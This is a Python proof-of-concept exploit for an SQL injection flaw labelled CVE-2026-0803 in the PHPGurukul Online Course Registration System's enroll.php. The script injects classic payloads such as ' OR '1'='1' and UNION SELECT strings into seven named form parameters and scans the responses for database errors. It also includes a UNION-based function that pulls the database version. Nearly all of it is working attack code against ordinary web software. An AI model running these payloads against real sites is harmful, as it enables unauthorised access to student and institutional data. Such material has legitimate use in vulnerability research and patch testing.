import requests
import sys
# CVE-2026-0803 SQL Injection PoC
# Target: PHPGurukul Online Course Registration System
# Vulnerable File: /enroll.php
# Vulnerable Parameters: studentregno, Pincode, session, department, level, course, sem
TARGET_URL = "http://target-site.com/enroll.php"
def test_sql_injection():
"""Test for SQL injection vulnerability in enroll.php"""
# Basic SQL injection test payloads
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' UNION SELECT NULL--",
"admin'--",
"' OR 1=1--"
]
# Vulnerable parameters to test
vulnerable_params = [
'studentregno',
'Pincode',
'session',
'department',
'level',
'course',
'sem'
]
print(f"[*] Testing SQL Injection on {TARGET_URL}")
print(f"[*] Target: PHPGurukul Online Course Registration System")
print(f"[*] CVE: CVE-2026-0803")
for param in vulnerable_params:
for payload in payloads:
data = {
'studentregno': "test",
'Pincode': "1234",
'session': "2024",
'department': "CS",
'level': "1",
'course': "1",
'sem': "1"
}
data[param] = payload
try:
response = requests.post(TARGET_URL, data=data, timeout=10)
# Check for SQL error indicators
if any(indicator in response.text.lower() for indicator in
['sql syntax', 'mysql', 'warning', 'error', 'sqlite', 'postgresql']):
print(f"[+] Potential SQL Injection found in parameter: {param}")
print(f"[+] Payload: {payload}")
print(f"[+] Response length: {len(response.text)}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
continue
print("[*] Basic tests completed. Manual verification recommended.")
return False
def extract_data():
"""Extract database information using UNION-based SQL injection"""
# UNION-based injection to extract database version
union_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL--"
data = {
'studentregno': union_payload,
'Pincode': "1234",
'session': "2024",
'department': "CS",
'level': "1",
'course': "1",
'sem': "1"
}
print("[*] Attempting to extract database version...")
try:
response = requests.post(TARGET_URL, data=data, timeout=10)
print(f"[*] Response status: {response.status_code}")
return response.text
except:
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-0803 SQL Injection PoC")
print("=" * 60)
test_sql_injection()